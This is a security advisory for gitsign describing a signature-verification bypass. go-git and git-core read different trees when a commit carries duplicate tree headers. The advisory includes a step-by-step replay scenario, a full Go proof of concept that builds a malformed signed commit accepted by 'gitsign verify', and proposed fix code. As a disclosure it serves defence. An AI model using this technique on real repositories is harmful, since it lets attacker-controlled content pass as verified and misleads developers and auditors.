gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.
Medium (CVSS 3.1: 5.7)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
gitsign verify on the malformed commitinternal/commands/verify/verify.go — (o *options).Run (line 75)internal/commands/verify-tag/verify_tag.go — (o *options).Run (line 77)pkg/git/verify.go — ObjectHash (lines 126–158, specifically the commit() round-trip at 161–176)When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:
// internal/commands/verify/verify.go:63–92
c, err := repo.CommitObject(*h) // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form
return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)
summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes
The same pattern appears in verify-tag:
// internal/commands/verify-tag/verify_tag.go:76–95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
return err
}
The codebase itself acknowledges the problem in ObjectHash:
// pkg/git/verify.go:137–142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
encoder, err = commit(obj, sig)
go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.
The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:
// internal/commands/root/verify.go:56–70
detached := len(args) >= 2
if detached {
data, sig, err = readDetached(s, args...) // raw bytes from git-core
} else {
sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding
The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).
An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:
tree T1 ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature over T1 canonical form>
-----END SIGNED MESSAGE-----
This is Alice's commit.
An attacker crafts a new malformed commit object:
tree T2 ← attacker's malicious tree (git-core uses this)
tree T1 ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature — replayed verbatim>
-----END SIGNED MESSAGE-----
This is Alice's commit.
gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."git log / git-core: uses T2 (attacker-controlled content).ObjectHash also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.
// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go
package main
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"fmt"
"io"
"math/big"
"strings"
"time"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
"github.com/sigstore/gitsign/internal/signature"
ggit "github.com/sigstore/gitsign/pkg/git"
)
type identity struct {
cert *x509.Certificate
priv crypto.Signer
}
func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }
func (i *identity) Delete() error { return nil }
func (i *identity) Close() {}
func indentSig(sig string) string {
sig = strings.TrimSuffix(sig, "\n")
lines := strings.Split(sig, "\n")
out := "gpgsig " + lines[0] + "\n"
for _, ln := range lines[1:] {
out += " " + ln + "\n"
}
return out
}
func main() {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "attacker"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
cert, _ := x509.ParseCertificate(rawCert)
treeFirst := strings.Repeat("a", 40) // git-core uses this
treeSecond := strings.Repeat("b", 40) // go-git uses this
author := "author Eve <eve@example.com> 1700000000 +0000"
committer := "committer Eve <eve@example.com> 1700000000 +0000"
msg := "msg\n"
// Sign the go-git canonical form (second tree only)
canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
id := &identity{cert: cert, priv: priv}
resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
if err != nil {
panic(err)
}
// Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)
st := memory.NewStorage()
enc := st.NewEncodedObject()
enc.SetType(plumbing.CommitObject)
w, _ := enc.Writer()
_, _ = w.Write([]byte(malformedRaw))
_ = w.Close()
c, err := object.DecodeCommit(st, enc)
if err != nil {
panic(err)
}
// Reproduce what gitsign verify does
out := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(out); err != nil {
panic(err)
}
r, _ := out.Reader()
verifyData, _ := io.ReadAll(r)
roots := x509.NewCertPool()
roots.AddCert(cert)
v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
_, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)
objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
rawObj := &plumbing.MemoryObject{}
rawObj.SetType(plumbing.CommitObject)
_, _ = rawObj.Write([]byte(malformedRaw))
fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted
fmt.Println("OBJECTHASH_ERROR:", oerr)
fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}
Expected output:
FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL: true
CERT_VERIFY_ERROR: <nil> ← signature accepted
OBJECTHASH_ERROR: <nil>
OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split
gitsign verify reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).gitsign verify but points to attacker-controlled content, without possessing any signing key.ObjectHash also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.git verify-commit and gitsign verify reach opposite verdicts for the same malformed commit, undermining auditability.Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:
// internal/commands/verify/verify.go — replace lines 63–92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
return err
}
// data is now the raw bytes without the gpgsig header — identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)
This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.
Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:
func validateRawCommitFields(data []byte) error {
seen := map[string]bool{}
for _, line := range bytes.Split(data, []byte("\n")) {
if idx := bytes.IndexByte(line, ' '); idx > 0 {
key := string(line[:idx])
if seen[key] {
return fmt.Errorf("malformed commit: duplicate field %q", key)
}
seen[key] = true
}
if len(line) == 0 {
break // end of headers
}
}
return nil
}
This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.
This vulnerability was discovered and reported by bugbunny.ai.
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:38:50Z",
"cwe_ids": [
"CWE-295",
"CWE-347"
],
"severity": "MODERATE",
"nvd_published_at": null
}